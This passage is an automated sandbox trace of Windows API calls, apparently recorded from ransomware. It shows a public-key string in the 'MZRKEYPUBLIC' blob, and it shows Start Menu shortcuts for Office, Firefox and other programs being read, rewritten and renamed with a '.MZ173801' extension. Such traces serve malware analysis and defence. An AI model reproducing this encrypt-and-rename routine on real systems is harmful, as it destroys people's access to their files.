lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0217.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0217.148] GetCurrentThreadId () returned 0xab4 [0217.148] GetCurrentThreadId () returned 0xab4 [0217.148] GetCurrentThreadId () returned 0xab4 [0217.149] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.149] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0217.149] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.149] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xa16 [0217.149] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0217.149] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0xa16, lpOverlapped=0x0) returned 1 [0217.154] CloseHandle (hObject=0x330) returned 1 [0217.154] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0217.156] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0xa16, lpOverlapped=0x0) returned 1 [0217.157] CloseHandle (hObject=0x330) returned 1 [0217.157] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Log for Office 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry log for office 2016.lnk.mz173801")) returned 1 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] GetCurrentThreadId () returned 0xab4 [0217.243] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d4712f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 0 [0217.243] GetLastError () returned 0x12 [0217.243] FindClose (in: hFindFile=0xa1b540 | out: hFindFile=0xa1b540) returned 1 [0217.243] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xab925ddd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xab925ddd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0217.243] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0217.243] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.243] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xab925ddd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xab925ddd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaa4bbc17, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Database Compare 2016.lnk.MZ173801", cAlternateFileName="DATABA~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaa4e1d16, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x988, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Office 2016 Language Preferences.lnk.MZ173801", cAlternateFileName="OFFICE~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaa875821, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa15, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Office 2016 Upload Center.lnk.MZ173801", cAlternateFileName="OFFICE~2.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xaa875821, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8eb, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Project Server 2016 Accounts.lnk.MZ173801", cAlternateFileName="PROJEC~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaa8c1a9b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9a1, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Skype for Business Recording Manager.lnk.MZ173801", cAlternateFileName="SKYPEF~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaad3a184, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Spreadsheet Compare 2016.lnk.MZ173801", cAlternateFileName="SPREAD~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.244] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.244] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xab925ddd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9d4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Dashboard for Office 2016.lnk.MZ173801", cAlternateFileName="TELEME~1.MZ1")) returned 1 [0217.244] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xab925ddd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Log for Office 2016.lnk.MZ173801", cAlternateFileName="TELEME~2.MZ1")) returned 1 [0217.245] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xab925ddd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Telemetry Log for Office 2016.lnk.MZ173801", cAlternateFileName="TELEME~2.MZ1")) returned 0 [0217.245] GetLastError () returned 0x12 [0217.245] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa6ea4620, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MiracastView.lnk.MZ173801", cAlternateFileName="")) returned 1 [0217.245] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef80377f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa7532c38, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Mozilla Firefox.lnk.MZ173801", cAlternateFileName="MOZILL~1.MZ1")) returned 1 [0217.245] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d4712f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d4712f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa79ab320, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9c2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="OneDrive for Business.lnk.MZ173801", cAlternateFileName="ONEDRI~1.MZ1")) returned 1 [0217.245] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.245] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa7e960e0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="OneNote 2016.lnk.MZ173801", cAlternateFileName="ONENOT~1.MZ1")) returned 1 [0217.245] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.245] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa82c2260, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x96d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Outlook 2016.lnk.MZ173801", cAlternateFileName="OUTLOO~1.MZ1")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa830e7db, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PowerPoint 2016.lnk.MZ173801", cAlternateFileName="POWERP~1.MZ1")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x567be970, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x567be970, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa835ac24, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x897, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PrintDialog.lnk.MZ173801", cAlternateFileName="")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xa85248be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x87e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Project 2016.lnk.MZ173801", cAlternateFileName="PROJEC~1.MZ1")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa854aa5c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Publisher 2016.lnk.MZ173801", cAlternateFileName="PUBLIS~1.MZ1")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.246] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.246] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa854aa5c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Skype for Business 2016.lnk.MZ173801", cAlternateFileName="SKYPEF~1.MZ1")) returned 1 [0217.246] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: 